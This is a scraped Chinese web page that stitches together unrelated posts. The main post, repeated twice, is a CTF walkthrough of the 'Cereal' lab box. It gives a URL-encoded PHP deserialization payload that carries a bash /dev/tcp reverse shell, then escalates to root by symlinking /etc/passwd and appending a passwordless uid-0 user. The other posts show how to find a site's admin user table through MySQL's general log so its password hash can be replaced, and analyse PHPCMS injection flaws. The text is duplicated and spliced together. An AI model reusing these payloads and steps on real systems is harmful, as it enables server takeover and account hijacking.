转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
查看全部
php抓取网页数据插入数据库 外壳坚硬的谷子
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
PHP网站后台密码绕过系列-查找后台的数据库表
网站优化 • 优采云 发表了文章 • 0 个评论 • 41 次浏览 • 2022-06-17 17:19
前言:上期给大家介绍了如何找到PHP网站后台登录验证函数,今天继续给大家分享后续步骤方法。
通过上期介绍我们可以找到网站的验证函数,通过验证函数我们可以找到密钥的加密方式。
接下来就是进数据库直接替换,更改密码,进后台了……美滋滋
可是,可是,可是,当打开数据库表时才发现——我是谁,我在哪,我要干啥……灵魂三问!!!
谁能告诉我哪个才是后台的用户表!!
别急,这期告诉你一招简单的方法就能精准找到那个让你魂牵梦绕的user表。
我们的方法是:日志
MySQL的查询日志记录了所有MySQL数据库请求的信息。MySQL配置文件中的参数general_log用来控制开启、关闭MySQL查询日志;
在general_log开启状态下, 网站页面对数据库做的所有操作都会被记录下来,就很容易知道操作的是哪个表。
接下来看看如何查看和打开general_log;
进入mysql,执行“show variables like '%general%'”命令可以查看日志当前状态,默认情况下日志处于关闭状态。
这时候只需要再执行“set global general_log=on”命令就可开启查询日志
(在命令下开启,只是临时开启,重启服务后就回到默认状态,不影响后续的使用)
下面我们以登录网站后台验证下是否可以找到用户表。
在网站后台页面账号密码框随便输入一个用户名进行测试。
然后回到MySQL日志所在路径,访问general_log日志文件,搜索我们刚才输入的用户名就会发现网站所调用的表。
打开表看看,确实是后台用户表
这时候就可以替换密钥啦,注意有salt哟......
喜欢小知的话请不要忘了关注,点赞,转发! 查看全部
PHP网站后台密码绕过系列-查找后台的数据库表
前言:上期给大家介绍了如何找到PHP网站后台登录验证函数,今天继续给大家分享后续步骤方法。
通过上期介绍我们可以找到网站的验证函数,通过验证函数我们可以找到密钥的加密方式。
接下来就是进数据库直接替换,更改密码,进后台了……美滋滋
可是,可是,可是,当打开数据库表时才发现——我是谁,我在哪,我要干啥……灵魂三问!!!
谁能告诉我哪个才是后台的用户表!!
别急,这期告诉你一招简单的方法就能精准找到那个让你魂牵梦绕的user表。
我们的方法是:日志
MySQL的查询日志记录了所有MySQL数据库请求的信息。MySQL配置文件中的参数general_log用来控制开启、关闭MySQL查询日志;
在general_log开启状态下, 网站页面对数据库做的所有操作都会被记录下来,就很容易知道操作的是哪个表。
接下来看看如何查看和打开general_log;
进入mysql,执行“show variables like '%general%'”命令可以查看日志当前状态,默认情况下日志处于关闭状态。
这时候只需要再执行“set global general_log=on”命令就可开启查询日志
(在命令下开启,只是临时开启,重启服务后就回到默认状态,不影响后续的使用)
下面我们以登录网站后台验证下是否可以找到用户表。
在网站后台页面账号密码框随便输入一个用户名进行测试。
然后回到MySQL日志所在路径,访问general_log日志文件,搜索我们刚才输入的用户名就会发现网站所调用的表。
打开表看看,确实是后台用户表
这时候就可以替换密钥啦,注意有salt哟......
喜欢小知的话请不要忘了关注,点赞,转发!
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-06-14 13:43
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
